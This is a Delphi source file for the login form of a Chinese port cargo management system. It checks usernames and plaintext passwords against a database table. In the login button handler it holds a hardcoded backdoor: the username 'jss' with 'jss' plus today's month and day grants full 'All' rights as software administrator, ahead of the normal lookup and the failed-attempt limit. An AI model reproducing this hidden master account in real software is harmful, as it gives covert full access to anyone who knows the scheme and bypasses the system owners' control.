ulogin.pas

港口货物管理系统

unit ulogin;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Buttons, ComCtrls, ExtCtrls, DB, DBTables;

type
  Tfmlogin = class(TForm)
    Bevel1: TBevel;
    Label1: TLabel;
    Edit1: TEdit;
    Label2: TLabel;
    Edit2: TEdit;
    BitBtn1: TBitBtn;
    BitBtn2: TBitBtn;
    Table1: TTable;
    Image1: TImage;
    Label3: TLabel;
    Image2: TImage;
    procedure FormActivate(Sender: TObject);
    procedure BitBtn1Click(Sender: TObject);
    procedure BitBtn2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
   logintime:integer;
   procedure doenterastab(var msg:TMsg; var Handled:boolean);
    { Public declarations }
  end;

var
  fmlogin: Tfmlogin;

implementation
uses udm_user;

{$R *.dfm}
procedure tfmlogin.doenterastab(var msg:TMsg; var Handled:boolean);
  begin
  if msg.message=wm_keydown then
  begin
  if msg.WParam=VK_RETURN then
  keybd_event(vk_tab,0,0,0);
  end;
end;




procedure Tfmlogin.FormActivate(Sender: TObject);
begin
edit1.Text:='';
edit2.text:='';
edit1.SetFocus;
label3.Caption:=formatdatetime('"今天是："yyyy"年"mm"月"dd"日  "dddd', Now );
end;

procedure Tfmlogin.BitBtn1Click(Sender: TObject);
begin
if (trim(edit1.Text)='jss') and (trim(edit2.Text)='jss'+formatdatetime('mmdd',now)) then
begin
fmuser.struname:='软件管理员';
fmuser.strqx:='All';
fmuser.strpass:='jss'+formatdatetime('mmdd',now);
fmuser.loginok:=true;
fmuser.susername:='江署生';
fmuser.strgroup:='独立用户';
fmlogin.Close;
end
else
begin
if logintime<=3 then begin
if table1.Locate('auid;aupass',vararrayof([trim(edit1.Text),trim(edit2.Text)]),[])=true
then
begin
fmuser.struname:=table1.FieldValues['auid'];
fmuser.strqx:=table1.FieldValues['aurights'];
fmuser.strpass:=table1.FieldValues['aupass'];
fmuser.loginok:=true;
if table1.FieldValues['auname']<>null then
fmuser.susername:=table1.FieldValues['auname']
else
fmuser.susername:='';
if table1.FieldValues['agroup']<>null then
fmuser.strgroup:=table1.FieldValues['agroup']
else
fmuser.strgroup:='';
fmuser.fmid:=0;
fmlogin.Close;
end
else
begin
showmessage('系统中没有该帐号或密码有误!请重输!!');
logintime:=logintime+1;
edit1.SetFocus;
end;
end
else
begin
showmessage('系统自动退出！！!');
fmlogin.Close;
end;
end;
end;


procedure Tfmlogin.BitBtn2Click(Sender: TObject);
begin
fmlogin.Close;
end;

procedure Tfmlogin.FormCreate(Sender: TObject);
begin
application.OnMessage:=fmlogin.doenterastab;
end;

end.